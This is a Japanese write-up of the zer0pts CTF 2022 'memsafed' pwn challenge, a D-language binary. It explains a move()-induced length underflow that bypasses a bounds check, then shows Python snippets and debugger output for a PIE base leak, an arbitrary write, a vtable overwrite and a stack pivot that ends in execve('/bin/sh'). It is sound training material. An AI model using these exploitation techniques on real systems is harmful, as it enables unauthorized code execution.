# memsafed@zer0pts CTF 2022 ###### tags: `writeup`,`ctf`,`pwn` D言語を使ったpwn問. C/C++以外のpwnをやりたくて探してたら見つけた. 問題/Writeupともに動作確認できたので供養. ## 参考にしたWriteup https://kileak.github.io/ctf/2022/zer0pts-memsafed/ https://hackmd.io/@ptr-yudai/H13yUaISY#MemSafeD---zer0pts-CTF-2022 (Author's Writeup) ## 配布物 ビルド済みのバイナリの他に, D言語のソースコードと`Makefile`もついていた. ライブラリや`Dockerfile`は無い. ソースコードは以下の通り. ```D import std.stdio; import std.format; import std.range; import std.typecons; import std.algorithm; // @safe ensures memory safety, yay! // https://dlang.org/spec/memory-safe-d.html @safe: /* Polygon struct */ alias vertex = Tuple!(int, int); struct Polygon { private: vertex[] _vertices; // List of vertex public: this(ulong n) { if (n <= 2) // Dots and lines are not polygon throw new Exception("Invalid number of vertices"); _vertices = new vertex[n]; } ~this() {} /* Convert this structure into string (@trusted for sink) */ void toString(scope void delegate(const(char)[]) sink, FormatSpec!char fmt) const @trusted { if (fmt.spec != 's') throw new Exception("Unknown format specifier: %" ~ fmt.spec); sink("[ Polygon: "); foreach (vertex v; _vertices) { sink(format("(%d,%d) ", v[0], v[1])); } sink("]"); } /* Set the position of a vertex */ void set_vertex(ulong index, vertex v) { if (index > _vertices.length - 1) throw new Exception("Invalid index"); _vertices[index] = v; } } /* We need to wrap `readf` in a trusted function because it's @system and not thread safe */ vertex read_vertex(string msg) @trusted { int x, y; write(msg); readf("(%d, %d)\n", x, y); return tuple(x, y); } ulong read_ul(string msg) @trusted { ulong i; write(msg); readf("%d\n", i); return i; } string read_str(string msg) @trusted { string s; write(msg); readf("%s\n", s); return s; } /* Create a new polygon */ void polygon_new(ref Polygon[string] ps) { string name = read_str("Name: "); ulong n = read_ul("Number of vertices: "); Polygon p = Polygon(n); for (ulong i = 0; i < n; i++) { vertex v = read_vertex(format("vertices[%d] = ", i)); p.set_vertex(i, v); } ps[name] = p; } /* Show a polygon */ void polygon_show(ref Polygon[string] ps) { string name = read_str("Name: "); if (!(name in ps)) // Not found throw new Exception("No such polygon: " ~ name); writeln(ps[name]); } /* Rename a polygon */ void polygon_rename(ref Polygon[string] ps) { string old_name = read_str("(old) Name: "); string new_name = read_str("(new) Name: "); if (!(old_name in ps)) // Not found throw new Exception("No such polygon: " ~ old_name); Polygon p; move(ps[old_name], p); // Make a copy if (new_name in ps) { // Ask when new name already exists writeln("Do you want to overwrite the existing polygon?"); writeln(new_name, " --> ", ps[new_name]); string answer = read_str("[y/N]: "); if (answer[0] != 'Y' && answer[0] != 'y') return; } // Remove original polygon and move to target ps.remove(old_name); ps[new_name] = p; } /* Edit a vertex in a polygon */ void polygon_edit(ref Polygon[string] ps) { string name = read_str("Name: "); if (!(name in ps)) // Not found throw new Exception("No such polygon: " ~ name); ulong index = read_ul("Index: "); vertex v = read_vertex(format("vertices[%d] = ", index)); ps[name].set_vertex(index, v); } /* Delete a polygon */ void polygon_delete(ref Polygon[string] ps) { string name = read_str("Name: "); if (!(name in ps)) // Not found throw new Exception("No such polygon: " ~ name); ps.remove(name); } /* Entry point! (@trusted for setvbuf) */ void main() @trusted { Polygon[string] ps; stdin.setvbuf(0, _IONBF); stdout.setvbuf(0, _IONBF); writeln(" o o"); writeln(" / __ \\"); writeln(" \\|@@\\/"); writeln(" || \\\\"); writeln(" ||_//"); writeln(" |__/"); writeln(" / \\"); writeln(" `o b"); writeln("1. New"); writeln("2. Show"); writeln("3. Rename"); writeln("4. Edit"); writeln("5. Delete"); while (true) { ulong choice; try { choice = read_ul("> "); } catch (Exception e) { break; } try { switch (choice) { case 1: polygon_new(ps); break; case 2: polygon_show(ps); break; case 3: polygon_rename(ps); break; case 4: polygon_edit(ps); break; case 5: polygon_delete(ps); break; default: return; } } catch (Exception e) { writeln("[ERROR] ", e); } } } ``` また`Makefile`は以下(`Not Important`と書いてあるのでExploitには不要?私は使わなかった) ```Makefile! # Not important but just for your reference: # - https://dlang.org/download.html (v2.098.0) # - https://dlang.org/dmd-linux.html chall: main.d dmd main.d -of=chall -O -release -inline -check=off mv chall ../distfiles cp main.d ../distfiles cp Makefile ../distfiles ``` ## 初動解析 バイナリの`checksec`はこんな感じ ```shell= root@Ubu2004x64:now# checksec /mnt/hgfs/ar_ctf/zer0pts_ctf_2022/memsafed/chall [!] Missing file `rp-lin-x64-v2` GEF for linux ready, type `gef' to start, `gef config' to configure 197 commands loaded for GDB 9.2 using Python engine 3.8 Reading symbols from /mnt/hgfs/ar_ctf/zer0pts_ctf_2022/memsafed/chall... (No debugging symbols found in /mnt/hgfs/ar_ctf/zer0pts_ctf_2022/memsafed/chall) [+] checksec for '/mnt/hgfs/ar_ctf/zer0pts_ctf_2022/memsafed/chall' Static/Dynamic : Dynamic Stripped : No (The symbol remains) Canary : Disabled NX : Enabled PIE : Enabled RELRO : Full RELRO Fortify : Not Found Intel CET : Not Found (endbr64/endbr32 is not found) RPATH : Not Found RUNPATH : Not Found System ASLR : Enabled (randomize_va_space: 2) root@Ubu2004x64:now# ``` + `Canary`無効 + `NX`有効 + `Full-RELRO` + `PIE`有効 さて`D`言語の言語仕様などよくわかってないが, こういうよくわからない言語でビルドされたpwnは範囲外参照を真っ先に疑う.今回の問題で使えそうな関数は, `set_vertex`関数だろう. しかし`set_vertex`関数の定義を見てみると, `index`に長さチェックがある. ```D void set_vertex(ulong index, vertex v) { if (index > _vertices.length - 1)★_vertices.lengthを偽装可能? throw new Exception("Invalid index"); _vertices[index] = v; } ``` メンバ`_vertices`は, `Polygon`オブジェクトが確保された時, 長さが決定するようだ. ```d public: this(ulong n) { if (n <= 2) // Dots and lines are not polygon throw new Exception("Invalid number of vertices"); _vertices = new vertex[n];★n > 2なら長さnの配列を作成している. } ``` ## バグ解析 わかりにくいが, `polygon_rename`関数にUAFがある. :::success 2022/12/09 追記 これ, UAFではなく、NULL Pointer Dereferenceと呼ぶらしい. ::: ```d void polygon_rename(ref Polygon[string] ps) { string old_name = read_str("(old) Name: "); string new_name = read_str("(new) Name: "); if (!(old_name in ps)) // Not found throw new Exception("No such polygon: " ~ old_name); Polygon p; move(ps[old_name], p); // Make a copy if (new_name in ps) { writeln("Do you want to overwrite the existing polygon?"); writeln(new_name, " --> ", ps[new_name]); string answer = read_str("[y/N]: "); // ★BUG: // ps[old_name]は初期化されているけれど, // ps.removeを呼び出さなければ, ps[old_name]はまだ参照可能. if (answer[0] != 'Y' && answer[0] != 'y') return; } ps.remove(old_name); ps[new_name] = p; } ``` `// Make a copy`とコメントが記載されているが, `move`関数はコピー元のオブジェクトを初期化してしまう. :::warning ![](https://i.imgur.com/Bimpjd2.png) ::: ロジック的には、`new_name in ps`が真かつ上書きしない場合, `move`せずに`return`するべきだが, 上書き要否にかかわらず`move`するため, `ps[old_name]`は初期化された`Polygon`オブジェクトで上書きされる. 初期化された,`Polygon`オブジェクトは`_vertices.length == 0`であるため, `._vertices.length - 1 == -1`となり, `set_vertex`関数の ```D if (index > 0xffff_ffff_ffff_ffff) throw new Exception("Invalid index"); ``` をバイパスできる. 整理すると`set_vertex`のインデックスチェックをバイパスする方針は以下の通りだ. 1. `hoge`(適当なキー)で`polygon`を作成する 2. `rename('hoge', 'hoge')`で上書きしないで関数を抜ける. 3. `hoge.set_vertex(index. vertex)`を呼び出す. これで範囲外書き込みが可能になった. ## Exploit方針 #### アドレスリーク PIEなので, コードのベースアドレスをリークしたい. `main`関数で例外をすべて`writeln`(標準出力に書き出し)していることに注目しよう. ```D try { switch (choice) { case 1: polygon_new(ps); break; case 2: polygon_show(ps); break; case 3: polygon_rename(ps); break; case 4: polygon_edit(ps); break; case 5: polygon_delete(ps); break; default: return; } } catch (Exception e) { writeln("[ERROR] ", e); // ★ここで例外をstdoutに書き出し } ``` D言語では例外にアドレスが載ってくるらしく, 適当に例外を発生させればすぐにリークできる. 私は, 存在しない要素の`vertex`を`delete`しようとして以下の結果を得た. ```shell= root@Ubu2004x64:now# nc localhost 1337 o o / __ \ \|@@\/ || \\ ||_// |__/ / \ `o b 1. New 2. Show 3. Rename 4. Edit 5. Delete > 5 Name: fuga [ERROR] object.Exception@main.d(139): No such polygon: fuga ---------------- ??:? _Dmain [0x55d077587307] ## ★デバッガで見るとわかるが, これはコード領域のアドレス. > ``` つまり以下のようなコードでバイナリのベースを抜くことができる. ```python """ gef> codebase ------------------------------------------------------------- Code base ------------------------------------------------------------- $codebase = 0x55d0774e5000 $piebase = 0x55d0774e5000 gef> p/x 0x55d077587307 - $codebase $1 = 0xa2307 gef> """ ofs_dmain = 0xa2307 sendline(f, '5') sendline_after(f, 'Name:', 'fuga') leak = readuntil(f, '>') codebase = 0 for line in leak.decode().splitlines(): m = re.search('_Dmain \[(\S+)\]', line) if m: leak = int(m.group(1), 16) codebase = leak - ofs_dmain break dbg("codebase") ``` 実際に打ち込むと以下のような感じ. (`localhost:1337`でsocatを立てている.) ```shell= ## 別端末で, socat TCP-L:1337,reuseaddr,fork SYSTEM:"./chall" root@Ubu2004x64:now# ./x.py [*] local-> 127.0.0.1 1337 [*] codebase: 0x558f46e86000 ``` これでアドレスリークを達成できた. ### 任意書き込みの作成 次に, 任意のアドレスへの書き込みPrimitiveを作りたい. まずは`polygon`クラス内部でどのように, `_vertices`メンバがメモリ確保しているのかを確かめよう. ソースコード上では, `_vertices`は`(int, int)`の`Tuple`で確保されているのがわかる. ```D alias vertex = Tuple!(int, int); ``` [D言語の公式サイト](https://dlang.org/spec/type.html#basic-data-types)に基本的なデータ型の説明がある. Dには`int`/`unsigned int`の区別が存在し, `int`型は32bitの符号付き整数とされている. そのため, 1つの`vertex`は以下のようなメモリ配置になっていると推測できる. > 64bit かつリトルエンディアン想定 ``` `Polygon`クラスを, vertex[0] = (0xdead00, 0xcafe00) # どちらも32bitのsigned intで正の値. vertex[1] = (0xdead01, 0xcafe01) vertex[2] = (0xdead02, 0xcafe02) vertex[3] = (0xdead03, 0xcafe03) と確保したとする. 以下のようなメモリレイアウトなのではないか? |<------ QWORD -------->| vertex[0] : | 0xcafe00 | 0xdead00 | <-- リトルエンディアンなので右から左へ vertex[1] : | 0xcafe01 | 0xdead01 | vertex[2] : | 0xcafe02 | 0xdead02 | vertex[3] : | 0xcafe03 | 0xdead03 | ``` 例えば, `vertex[0]`を`unsigned long`キャストしてみると, `(0xdead00, 0xcafe00)`はメモリ上で`0x00cafe0000dead00`と確保されていると予想できる. 実際にデバッガで試してみた結果が以下. ``` gef> search-pattern 0x00cafe0000dead00 (unsigned longキャストしたvertex[0]) [+] Searching '\x00\xad\xde\x00\x00\xfe\xca\x00' in memory [+] In (0x7f39acdf1000-0x7f39acef4000), permission=rw- 0x7f39acdf5000 - 0x7f39acdf5008 -> "\x00\xad\xde\x00\x00\xfe\xca\x00" gef> x/8gx 0x7f39acdf5000(これは私の環境ではlibc直上のセグメント) 0x7f39acdf5000: 0x00cafe0000dead00 0x00cafe0100dead01★vertex[0], vertex[1] 0x7f39acdf5010: 0x00cafe0200dead02 0x00cafe0300dead03★vertex[2], vertex[3] 0x7f39acdf5020: 0x0000000000000000 0x2000000000000000 0x7f39acdf5030: 0x0000000000000004 0x00007f39acdf2010 gef> ``` 予想はあってそうだ. このことから, `vertex[i]`に任意のQWORDな値を書き込む場合, 次のように書くことができる. ```python def u2s(x): """ convert unsinged int -> signed int (DWORD) """ tmp = struct.pack('<I', x) return struct.unpack('<i', tmp)[0] def dpack(a): l = u2s(a&0xffffffff) h = u2s(a >> 32) #print(f"({h:#x}, {l:#x})") return (l, h) ``` さて, 次に`set_vertex`で指定する`index`がどのようにアドレッシングされるのか見ていく. 上記の範囲外参照で, `Polygon` ``` edit('hoge', 0xdeadbeef, dpack(0xcafebabe)) ``` とすると, 関数`_D3std8typecons__T5TupleTiTiZQl__T8opAssignTSQBrQBq__TQBkTiTiZQBsZQBgMFNaNbNcNiNfKQBmZQBq`内でクラッシュする. 関数にブレークポイントを仕掛けて, ブレークした時の`context`を見ると以下のような感じ. ``` [ Legend: Modified register | Code | Heap | Stack | String ] ----------------------------------------------------------------------------------------------------------------------- registers ---- $rax : 0xcafebabe $rbx : 0xdeadbeef $rcx : 0xffffffffffffffff $rdx : 0x0 $rsp : 0x00007fffffffde48 -> 0x00005555555f6203 <D main+0x72b> -> 0x9d8d4800000144e9 $rbp : 0x00007fffffffe010 -> 0x00007fffffffe030 -> 0x00007fffffffe070 -> 0x00007fffffffe0a0 -> ... $rsi : 0x00007fffffffdfc8 -> 0x00000000cafebabe★ $rdi : 0x6f56df778 ★0xdeadbeef * 8 $rip : 0x0000555555600804 <_D3std8typecons__T5TupleTiTiZQl__T8opAssignTSQBrQBq__TQBkTiTiZQBsZQBgMFNaNbNcNiNfKQBmZQBq> -> 0x8b08890e8bf88948 $r8 : 0xd117a78f8daeb4c8 $r9 : 0x00007ffff7c7e000 -> 0xd117a78f8daeb4c8 $r10 : 0x00005555556b60b0 <_D4core8internal2gc4impl12conservativeQw7binsizeyG15s> -> 0x0040003000200010 $r11 : 0x246 $r12 : 0x00007ffff7c7c040 -> 0x0000000000000000 $r13 : 0x6f56df778 $r14 : 0x00007fffffffdf90 -> 0x00000000cafebabe $r15 : 0x00007fffffffdf94 -> 0xffffdf8000000000 $eflags: 0x282 [identification align virtualx86 resume nested overflow direction INTERRUPT trap SIGN zero adjust parity carry] [Ring=3] $cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 --------------------------------------------------------------------------------------------------------------------------- stack ---- 0x00007fffffffde48|+0x0000(000): 0x00005555555f6203 <D main+0x72b> -> 0x9d8d4800000144e9 <- retaddr[1] <- $rsp 0x00007fffffffde50|+0x0008(001): 0xffffffffffffffff 0x00007fffffffde58|+0x0010(002): 0x00007fffffffe210 -> 0x00007fffffffe2a0 -> 0x00007fffffffe2c0 -> ... 0x00007fffffffde60|+0x0018(003): 0x00007fffffffe230 -> 0x0000555555673830 <__libc_csu_init> -> 0x8d4c5741fa1e0ff3 0x00007fffffffde68|+0x0020(004): 0x00007fffffffe107 -> 0x0055555562905f00 0x00007fffffffde70|+0x0028(005): 0x0000000000000001 0x00007fffffffde78|+0x0030(006): 0x0000000000000001 0x00007fffffffde80|+0x0038(007): 0x00007ffff7c7d000 -> 0x0000000000000008 --------------------------------------------------------------------------------------------------------------------- code:x86:64 ---- 0x555555600800 5d <_D3std4conv__T8textImplTAyaTQeTkTQjTmTQoZQBbFNaNbNfQBbkQBfmQBjZQBn+0xf0> pop rbp 0x555555600801 c3 <_D3std4conv__T8textImplTAyaTQeTkTQjTmTQoZQBbFNaNbNfQBbkQBfmQBjZQBn+0xf1> ret 0x555555600802 0000 <NO_SYMBOL> add BYTE PTR [rax], al -> 0x555555600804 4889f8 mov rax, rdi 0x555555600807 8b0e mov ecx, DWORD PTR [rsi] 0x555555600809 8908 mov DWORD PTR [rax], ecx 0x55555560080b 8b5604 mov edx, DWORD PTR [rsi+0x4] 0x55555560080e 895004 mov DWORD PTR [rax+0x4], edx 0x555555600811 c3 ret ------------------------------------------------------------------------------------------------------------------------- threads ---- [#0] Id 1, Name: "chall", stopped 0x555555600804 in _D3std8typecons__T5TupleTiTiZQl__T8opAssignTSQBrQBq__TQBkTiTiZQBsZQBgMFNaNbNcNiNfKQBmZQBq (), reason: BREAKPOINT --------------------------------------------------------------------------------------------------------------------------- trace ---- [#0] 0x555555600804 -> _D3std8typecons__T5TupleTiTiZQl__T8opAssignTSQBrQBq__TQBkTiTiZQBsZQBgMFNaNbNcNiNfKQBmZQBq() [#1] 0x5555555f6203 -> D main() -------------------------------------------------------------------------------------------------------------------------------------- gef> ``` この関数は, 実質, `mov QWORD PTR [rdi], QWORD PTR [rsi]`を実施していることに等しい. また,2つのレジスタ`rdi/rsi`の値は, `rdi` : `edit`関数呼び出し時の`index` `rsi` : `edit`関数呼び出し時の`vertex=(int<<32 | int)` として制御可能であるため, これで任意書き込みができたことになる. 整理すると, 以下のような感じで任意書き込みができる. 1. `new`で適当にPolygonオブジェクトを作成 - 名前を`"hoge"`とする. 3. `rename`で`old_name = new_name = "hoge"`として`Overwrite`しないを選択. 4. `edit`でPolygon`"hoge"`に値を書き込む時, - `index = <書き込みたいアドレス> // 8` - `vertex = (<書き込みたいアドレス&0xffff_ffff>, <書き込みたいアドレス>>32>)` リークまで合わせて, コードは以下のようになる. ```python= def dpack(a): def u2s(x): tmp = struct.pack('<I', x) return struct.unpack('<i', tmp)[0] l = u2s(a&0xffffffff) h = u2s(a >> 32) #print(f"({h:#x}, {l:#x})") return (l, h) menu() ## leak(delete) sendline(f, '5') sendline_after(f, 'Name:', 'fuga') leak = readuntil(f, '>') codebase = 0 for line in leak.decode().splitlines(): m = re.search('_Dmain \[(\S+)\]', line) # 例外からリークしたアドレスを取得 if m: leak = int(m.group(1), 16) codebase = leak - ofs_dmain break ## arbitrary address write new('hoge', [ (0x00dead00, 0x00cafe00), # vertex[0]: ここの値は適当で良い. (0x00dead01, 0x00cafe01), # vertex[1]: ここの値は適当で良い. (0x00dead02, 0x00cafe02), # vertex[2]: ここの値は適当で良い. (0x00dead03, 0x00cafe03), # vertex[3]: ここの値は適当で良い. ] ) rename('hoge', 'hoge', overwrite=False) edit('hoge', 0xdeadbeef, dpack(0xcafebabe)) # *0xdeadbeef = 0xcafebabe ``` ### 任意コード実行へ RIP制御に持ち込むために, どこを書き換えるのが良いだろうか? `NX`が有効なので`ROP`に持ち込むのが正攻法だが, 今回の問題ではlibcやライブラリは与えられていない. またバイナリ自身も`PIE`/`Full RELRO`なので,`one_gadget`や`ret2dlresolve`による関数の偽装解決も難しそうだ. ROPガジェットを探すと`pop rax; ret`と`syscall`命令が存在するため, 素直に `execve("/bin/sh\0", NULL, NULL)`に持ち込むことにする. バイナリのサイズが大きいこと, コードベースのリークを達成できていることから, Writable領域に偽装`vtable`を作って, 呼ばれやすい`vtable`ポインタをそちらに向けるのが良いだろう. [Writeup](https://kileak.github.io/ctf/2022/zer0pts-memsafed/)によると, シェルの起動に持ち込むためには`$codebase+0x14c088`を書き換えるのがよいらしい. ![](https://drive.google.com/uc?export=view&id=1eKTvHUEnm4G2C1GhVYtXNO5z8z_OHEm-) > `IDA`でめぼしいシンボルを漁ったところ`vtable`のポインタは他にもありそうだったが, なぜこの`vtable`に着目したかはよくわかっていない. `_vertices`の確保時に呼び出される`vtable`ポインタらしく, 上記のリークまで実施後, 書き換えると`new`操作時にクラッシュする. クラッシュ時の`context`は以下の通り. ![](https://drive.google.com/uc?export=view&id=15QxQWBGqzmWEGyjqawWH1Ufd49alxTZ8) :::spoiler 見にくいのでテキストも載せておく. ``` [ Legend: Modified register | Code | Heap | Stack | String ] ------------------------------------------------------------------------------------------------------------------------------------------ registers ---- $rax : 0x00007ffff7c7d000 -> 0x0000000000000008 $rbx : 0x00007fffffffde80 -> 0x00007ffff7c7d000 -> 0x0000000000000008 $rcx : 0x00005555556a6b50 <internal+0xa0> -> 0x00005555556a6b50 <internal+0xa0> -> [loop detected] $rdx : 0x10 $rsp : 0x00007fffffffdbd8 -> 0x00005555556281c0 <_aaGetX+0xb0> -> 0xff789d8948c38948 $rbp : 0x00007fffffffdcd0 -> 0x00007fffffffdd10 -> 0x00007fffffffde40 -> 0x00007fffffffe010 -> ... $rsi : 0x00007fffffffdd50 -> 0x0000000000000005 $rdi : 0x00005555556a6b50 <internal+0xa0> -> 0x00005555556a6b50 <internal+0xa0> -> [loop detected] $rip : 0x0 $r8 : 0x00007fffffffdce8 -> 0x9af547cfed6be800 $r9 : 0x614d0168 $r10 : 0x0 $r11 : 0x246 $r12 : 0x00007fffffffdce8 -> 0x9af547cfed6be800 $r13 : 0x00005555556a6b50 <internal+0xa0> -> 0x00005555556a6b50 <internal+0xa0> -> [loop detected] $r14 : 0x5 $r15 : 0x00005555556a0070 <initializer for TypeInfo_HAyaS4main7Polygon> -> 0x00005555556a2210 <vtable for TypeInfo_AssociativeArray> -> 0x00005555556a2150 <ClassInfo for TypeInfo_AssociativeArray> -> 0x00005555556a2410 <vtable for TypeInfo_Class> -> ... $eflags: 0x10206 [identification align virtualx86 RESUME nested overflow direction INTERRUPT trap sign zero adjust PARITY carry] [Ring=3] $cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 ---------------------------------------------------------------------------------------------------------------------------------------------- stack ---- 0x00007fffffffdbd8|+0x0000(000): 0x00005555556281c0 <_aaGetX+0xb0> -> 0xff789d8948c38948 <- $rsp 0x00007fffffffdbe0|+0x0008(001): 0x00007fffffffdc60 -> 0x00007fffffffdd10 -> 0x00007fffffffde40 -> ... 0x00007fffffffdbe8|+0x0010(002): 0x0000000000000003 0x00007fffffffdbf0|+0x0018(003): 0x00007ffff7c78230 -> 0x0000000500000004 0x00007fffffffdbf8|+0x0020(004): 0x0000000000000004 0x00007fffffffdc00|+0x0028(005): 0x0000000000000005 0x00007fffffffdc08|+0x0030(006): 0x0000000000000004 0x00007fffffffdc10|+0x0038(007): 0x0000000000000001 ---------------------------------------------------------------------------------------------------------------------------------------- code:x86:64 ---- [!] Cannot disassemble from $PC [!] Cannot access memory at address 0x0 -------------------------------------------------------------------------------------------------------------------------------------------- threads ---- [#0] Id 1, Name: "chall", stopped 0x0 in ?? (), reason: SIGSEGV ---------------------------------------------------------------------------------------------------------------------------------------------- trace ---- --------------------------------------------------------------------------------------------------------------------------------------------------------- gef> ``` ::: `_aaGetX`関数内でクラッシュしていることがわかる. ```asm gef> bt #0 0x0000000000000000 in ?? () #1 0x00005555556281c0 in _aaGetX () #2 0x0000555555628109 in _aaGetY () #3 0x00005555555f5072 in _D4main11polygon_newFNfKHAyaSQBb7PolygonZv () #4 0x00005555555f5d23 in D main () gef> x/50i _aaGetX ~ 略 ~ 0x5555556281b1 <_aaGetX+161>: mov r13,QWORD PTR [r15+0x18] 0x5555556281b5 <_aaGetX+165>: mov rdi,r13 0x5555556281b8 <_aaGetX+168>: mov rcx,QWORD PTR [r13+0x0] 0x5555556281bc <_aaGetX+172>: rex.W call QWORD PTR [rcx+0x28]★ここで飛んでクラッシュ. 0x5555556281c0 <_aaGetX+176>: mov rbx,rax ``` この時, `rcx`が制御可能な制御可能なアドレスを指していた. ROPに持ち込むために, `rcx`をつかってStack Pivotするガジェットを探すと, `$codebase+0x0a459a`にいい感じのガジェットが見つかる. ```gdb gef> codebase ----------------------------------------------------------------------- Code base ----------------------------------------------------------------------- $codebase = 0x555555554000 $piebase = 0x555555554000 gef> x/6i $codebase+0x0a459a 0x5555555f859a <_D3std5range10primitives__T8popFrontTaZQmFNaNbNiNeMKANgaZv+106>: push rcx 0x5555555f859b <_D3std5range10primitives__T8popFrontTaZQmFNaNbNiNeMKANgaZv+107>: or BYTE PTR [rax-0x75],cl 0x5555555f859e <_D3std5range10primitives__T8popFrontTaZQmFNaNbNiNeMKANgaZv+110>: pop rsp 0x5555555f859f <_D3std5range10primitives__T8popFrontTaZQmFNaNbNiNeMKANgaZv+111>: and al,0x8 0x5555555f85a1 <_D3std5range10primitives__T8popFrontTaZQmFNaNbNiNeMKANgaZv+113>: add rsp,0x18 0x5555555f85a5 <_D3std5range10primitives__T8popFrontTaZQmFNaNbNiNeMKANgaZv+117>: ret gef> ``` あとは、ROPして上記のガジェットから`Stack Pivot`→`execve("/bin/sh", NULL, NULL)`すればよい. ### Exploit 最終的なExploitは以下の通り. {%gist 1u991yu24k1/5668b1f8ffc230bbbffea549fa1864d6 %}